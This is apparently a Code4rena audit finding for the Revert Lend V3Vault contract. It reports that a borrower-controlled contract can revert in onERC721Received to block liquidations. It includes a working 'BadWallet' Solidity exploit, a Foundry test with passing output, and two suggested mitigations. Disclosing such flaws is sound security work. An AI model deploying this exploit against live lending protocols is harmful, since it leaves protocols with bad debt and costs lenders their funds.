Revert Lend - stackachu's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083

Vulnerability details

At the end of a liquidation, the Uniswap V3 LP NFT is sent back to the borrower using safeTransferFrom. If the borrower is a smart contract, it can revert in onERC721Received to block the liquidation.

Affected code

At the end of V3Vault.liquidate, V3Vault._cleanupLoan is called:

V3Vault.sol#L744

function liquidate(LiquidateParams calldata params) external override returns (uint256 amount0, uint256 amount1) {
    [...]

    // disarm loan and send remaining position to owner
    _cleanupLoan(params.tokenId, state.newDebtExchangeRateX96, state.newLendExchangeRateX96, owner);

    [...]
}

V3Vault._cleanupLoan uses nonfungiblePositionManager.safeTransferFrom to send the Uniswap V3 LP NFT back to the borrower:

V3Vault.sol#L1083

// cleans up loan when it is closed because of replacement, repayment or liquidation
// send the position in its current state to owner
function _cleanupLoan(uint256 tokenId, uint256 debtExchangeRateX96, uint256 lendExchangeRateX96, address owner)
    internal
{
    [...]
    nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
    [...]
}

If owner is a smart contract, nonfungiblePositionManager.safeTransferFrom will call onERC721Received on the owner contract as required by the ERC-721 specification. If onERC721Received reverts, V3Vault.liquidate will also revert, causing the liquidation to fail.

Effectively, the borrower can control whether a liquidation of an unhealthy loan is possible.

Impact

A borrower blocking the liquidation of an unhealthy loan can leave the protocol with bad debt. If the borrower enables the liquidation later on and the liquidation happens at a loss (recovered assets < debt), the protocol's reserves will be reduced and in case the protocol's reserves cannot cover the shortfall, the lenders will lose some of their funds.

Proof of Concept

Note: Please ensure that the POOL_INIT_CODE_HASH has been set correctly as described in the contest's README before running the test.

Add the following contract to V3Vault.t.sol:

contract BadWallet {
    address immutable owner = msg.sender;
    bool allowERC721Receive;

    function makeCall(address target, bytes memory data) external returns (bool success, bytes memory retData) {
        require(msg.sender == owner, "only owner");
        return target.call(data);
    }

    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        require(allowERC721Receive, "onERC721Received blocked");
        return this.onERC721Received.selector;
    }

    function setERC721Receive(bool status) external {
        require(msg.sender == owner, "only owner");
        allowERC721Receive = status;
    }
}

Then add the following test function to V3VaultIntegrationTest:

function testBlockedLiquidation() external {
    // lend 10 USDC
    _deposit(10000000, WHALE_ACCOUNT);

    // deploy our malicious wallet that reverts in onERC721Received by default
    vm.prank(TEST_NFT_ACCOUNT);
    BadWallet wallet = new BadWallet();

    // send the UniV3 LP NFT to the wallet (using transferFrom to avoid onERC721Received)
    vm.prank(TEST_NFT_ACCOUNT);
    NPM.transferFrom(TEST_NFT_ACCOUNT, address(wallet), TEST_NFT);

    // add collateral
    vm.prank(TEST_NFT_ACCOUNT);
    (bool success,) = wallet.makeCall(address(NPM), abi.encodeCall(NPM.approve, (address(vault), TEST_NFT)));
    assertEq(success, true);
    vm.prank(TEST_NFT_ACCOUNT);
    (success,) = wallet.makeCall(address(vault), abi.encodeCall(vault.create, (TEST_NFT, address(wallet))));
    assertEq(success, true);

    // check the collateral value
    (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
    assertEq(fullValue, 9830229);
    assertEq(collateralValue, 8847206); // = 90% of full value

    // borrow the max possible amount for the provided collateral
    vm.prank(TEST_NFT_ACCOUNT);
    (success,) = wallet.makeCall(address(vault), abi.encodeCall(vault.borrow, (TEST_NFT, collateralValue)));
    assertEq(success, true);

    (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);
    // debt is equal collateral value
    assertEq(debt, collateralValue);
    // loan is healthy
    assertEq(liquidationCost, 0);
    assertEq(liquidationValue, 0);

    // reduce the collateral factor to 20% which will cause the loan to become unhealthy
    vault.setTokenConfig(address(DAI), uint32(Q32 * 2 / 10), type(uint32).max);

    (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);

    // collateral value is now reduced
    assertEq(collateralValue, 1966045);
    // debt is greater than collateral value
    assertGt(debt, collateralValue);

    // if liquidationCost and liquidationValue is != 0, the loan is unhealthy
    assertEq(liquidationCost, 8847206);
    assertEq(liquidationValue, 9729910);

    // approve USDC for liquidation
    vm.prank(WHALE_ACCOUNT);
    USDC.approve(address(vault), liquidationCost);

    // attempt liquidation (fails because onERC721Received reverts in the borrower's wallet)
    (uint256 debtShares) = vault.loans(TEST_NFT);
    vm.expectRevert("onERC721Received blocked");
    vm.prank(WHALE_ACCOUNT);
    vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

    // borrower can re-enable onERC721Received/liquidation at will
    vm.prank(TEST_NFT_ACCOUNT);
    wallet.setERC721Receive(true);

    // liquidation is possible now
    vm.prank(WHALE_ACCOUNT);
    vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
}

Run the test with:

$ forge test --match-path test/integration/V3Vault.t.sol --match-test testBlockedLiquidation -vvv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/integration/V3Vault.t.sol:V3VaultIntegrationTest
[PASS] testBlockedLiquidation() (gas: 1531068)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 338.35ms (39.05ms CPU time)

Ran 1 test suite in 351.29ms (338.35ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation Steps

There are two possible mitigations:

• Use nonfungiblePositionManager.transferFrom instead of safeTransferFrom to send back the UniV3 LP NFT to the borrower in V3Vault._cleanupLoan. A disadvantage of this solution is that owner might be a smart contract that is not capable of handling an ERC-721 NFT.
• Split the sending of the UniV3 LP NFT into a separate step, i.e. after the liquidation the position's owner has to call a separate function to pull the NFT. This function could also allow the owner to specify a suitable address that is capable of handling the NFT in case the owner is not.

Assessed type

DoS